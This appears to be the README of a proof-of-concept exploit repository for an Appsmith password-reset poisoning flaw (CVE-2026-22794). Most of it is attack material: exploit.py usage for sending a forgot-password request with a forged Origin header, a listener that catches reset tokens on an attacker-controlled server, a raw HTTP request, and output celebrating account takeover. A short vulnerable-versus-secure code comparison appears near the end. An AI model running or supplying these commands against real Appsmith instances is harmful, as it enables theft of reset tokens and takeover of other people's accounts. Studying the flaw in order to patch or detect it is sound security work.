userPasswordDTO.setBaseUrl(originHeader);

┌─────────────────────────────────────────────────────────────────┐
│                     ATTACK FLOW                                  │
└─────────────────────────────────────────────────────────────────┘

  ┌──────────┐                    ┌──────────┐                    ┌──────────┐
  │ ATTACKER │                    │ APPSMITH │                    │  VICTIM  │
  └────┬─────┘                    └────┬─────┘                    └────┬─────┘
       │                               │                               │
       │ 1. POST /forgotPassword       │                               │
       │    Origin: attacker.com       │                               │
       │    email: [email protected]     │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │                               │ 2. Send email with            │
       │                               │    attacker.com/reset?token   │
       │                               │──────────────────────────────>│
       │                               │                               │
       │ 3. Victim clicks link         │                               │
       │<──────────────────────────────────────────────────────────────│
       │                               │                               │
       │ 4. Token captured!            │                               │
       │                               │                               │
       │ 5. POST /resetPassword        │                               │
       │    token: STOLEN_TOKEN        │                               │
       │    password: attacker123      │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │ 6. ACCOUNT TAKEOVER! ✓        │                               │
       │                               │                               │

# Clone the repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC

# Install dependencies
pip install -r requirements.txt

python exploit.py --target https://appsmith.target.com --check

python exploit.py --listen --port 8080

python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com

python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com \
    --listen --port 8080

python exploit.py \
    --target https://appsmith.target.com \
    --reset-token CAPTURED_TOKEN \
    --new-password "NewP@ssw0rd!"

POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json

{
  "email": "[email protected]"
}

Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...

[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...

[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!

// ❌ VULNERABLE CODE
userPasswordDTO.setBaseUrl(originHeader);

// ✅ SECURE CODE
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Or validate against whitelist
if (!allowedOrigins.contains(originHeader)) {
    throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);

CVE-2026-22794/
├── README.md           # This file
├── exploit.py          # Main exploit script
├── requirements.txt    # Python dependencies
├── LICENSE             # MIT License
└── docs/
    └── technical_analysis.md  # Detailed vulnerability analysis